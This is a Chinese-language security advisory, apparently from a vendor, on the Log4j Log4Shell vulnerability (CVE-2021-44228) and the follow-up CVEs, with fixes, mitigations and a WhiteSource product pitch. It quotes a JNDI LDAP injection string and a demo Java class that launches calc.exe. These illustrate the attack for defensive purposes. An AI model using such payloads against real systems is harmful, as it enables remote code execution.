就在上週五(12/10),Apache 基金會旗下知名的Java元件 Log4j 被爆出含有嚴重弱點,已知影響所有現有Log4j2的版本(至 2.14.1),並就在同日於Github 釋出攻擊的相關實作。GSS資安團隊於12/10同時發現這個Zero Day弱點,隨即通報客戶並提供弱點的解決方案。
國際弱點組織NVD於12/11發布CVE編號為CVE-2021-44228,並標示其CVSS 風險指標為最高分 10 分。Apache 也迅速修復了這個問題並發布 log4j 2.15.0版本,甚至於Github 發佈內文中亦提供可降低此弱點遭利用的設定,於12/13 金融資安資訊分享與分析中心也發布此弱點的通報。
Java語言長年以來都獲選為工程師以及企業最愛用語言第一名,Apache Log4j也為Java應用系統開發日誌套件最愛用之一。根據GSS資安團隊調查,此弱點影響到95%以上Java開發的客戶,藉由此事件,也同時提升了企業對於Open Source管理的意識。
圖1:Apache Log4J RCE 攻擊事件時序
Apache 的 Log4j 安全性更新在 2.14.1 及以下版本的元件中,JNDI 功能存在於參數配置、日誌訊息和參數中使用 ,原先此功能無法抵禦攻擊者控制的 LDAP 和其他 JNDI 相關端點。
這個弱點允許攻擊者透過log訊息或是訊息參數取得控制權,來執行從LDAP伺服器和其他 JNDI 相關端點載入的任意代碼。自從此弱點被發現後,Apache 迅速修復了這個問題並發布 log4j 2.15.0版本。此問題非常令人擔憂,因為這個開源元件的使用範圍非常廣泛,並支援數百萬個 Java 應用程式記錄log訊息。
據知名防毒廠商賽門鐵克指出,隨著網路上已經公開弱點利用的程式碼範例,現已在許多系統偵測到有攻擊者嘗試利用此弱點進行攻擊的行為。
從下圖中可以看到一個示範應用程式嘗試使用 log4j 來記錄用戶的資訊。這個易受攻擊的應用程式通過 JNDI API 連接到攻擊者控制的 LDAP 伺服器。
${jndi:ldap://127.0.0.1:1389/o=reference}
然後LDAP 伺服器將會回傳含有惡意檔案或指令內容的程式路徑。Log4j會再根據此路徑下載執行程式內容。此示範程式的代碼為啟動Windows 系統中內建的計算機應用程式。
public class ExportObject implements javax.naming.spi.ObjectFactory {
public ExportObject() {
Runtime.getRuntime().exec("c:\\windows\\system32\\calc.exe");
}
}
考慮到開源的特性,元件之間有互相參考、引用的關係,很有可能被我們軟體專案中的許多應用系統,直接、間接引用到此元件。
為此,若想修復此風險,第一步就是確認應用系統是否使用不安全的 Log4j 版本( 2.14.1 或更低版本)。接著,如果檢測到易受攻擊的版本,請更新到版本 2.15.0 以上,以避免漏洞利用。
另外若暫時無法進行升級的辦法,可新增 Java 參數 "Dlog4j2.formatMsgNoLookups=true" 改變系統的屬性。若版本在 2.10 到 2.14.1 版本中可以設定"log4j2.formatMsgNoLookups"為"true";或是移除程式碼 "JndiLookup" 類別。但最佳的修復方式終究仍是,以不使用涵蓋風險的元件為方針,建議升級元件至2.15.0版本。
這不是第一次或最後一次發生開源元件公開披露和發現弱點。透過在開發早期自動檢測、自動告警和修復問題,將WhiteSource 整合到您的IDE、Repo 或CI 工具,可以為您的開發、DevOps 和安全團隊節省大量時間。
我們的建議是使用 WhiteSource 功能執行下列步驟,以快速解決這個新的嚴重弱點並持續監控你所有開源元件的安全:
1.首先進行盤點
WhiteSource提供Unified Agent,針對200種以上的語言進行檢測。同時盤點完成後,即可知道那些系統有使用到此套件(此為目前漏洞發生時,各企業最無法立即得知的事情,需耗費很多人力成本才能確認完畢)。
2.建立Policy
使用WhiteSource Policy的功能,先揭露高風險或特定弱點或元件,並通知相關人員。同時也可依版本、CVSS分數等條件進行通知、自動告警或派送至Jira等功能。
3.修復建議
WhiteSource同時彙整數十個弱點資料庫及Open Source資料庫,同時WhiteSource也有研究人員,當弱點一發佈修復方式後,即會更新其資料庫,以利讓開發人員知道怎麼修復。
使用 WhiteSource 的 AppSec 工具,在問題成為頭條新聞之前快速修復問題。並為組織中的每個人員節省寶貴的時間與工作資源,並能夠繼續自信地使用開源元件,同時獲得客戶的信任。
https://www.whitesourcesoftware.com/vulnerability-database/CVE-2021-44228
12/20 -
Apache在2.16.0以前版本又發現一新的DoS類型弱點,並於12/17發布弱點編號CVE-2021-45105,CVSS3 7.5(高),以及2.17.0(JDK 8)版本,請各位使用者儘速升級,以確保資訊系統安全。
https://www.whitesourcesoftware.com/resources/blog/log4j-vulnerability-cve-2021-45105/
Apache於12/18將CVE-2021-45046,從CVSS3 3.7(中) / DoS類型弱點修改為CVSS3 9.0(高) / RCE弱點,並建議升級至2.16.0(JDK 1.8) / 2.12.2(JDK 1.7)版本修復弱點
https://www.whitesourcesoftware.com/resources/blog/log4j-vulnerability-cve-2021-45046/
12/16 -
Apache於2/15又新發佈於2.15.0以前log4j的lookup 類別發現一個DoS類型的弱點,發布其弱點編號為CVE-2021-45046,並標示為中風險等級(CVSS3 3.7)。也於事件發布的同一天釋出2.16.0版本已修復此弱點,請所有使用者儘速升級至2.16.0版本,以確保資訊系統安全。
https://logging.apache.org/log4j/2.x/security.html
WhiteSource Vulnerability Database - CVE-2021-44228
tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce
Apache Log4j Security Vulnerabilities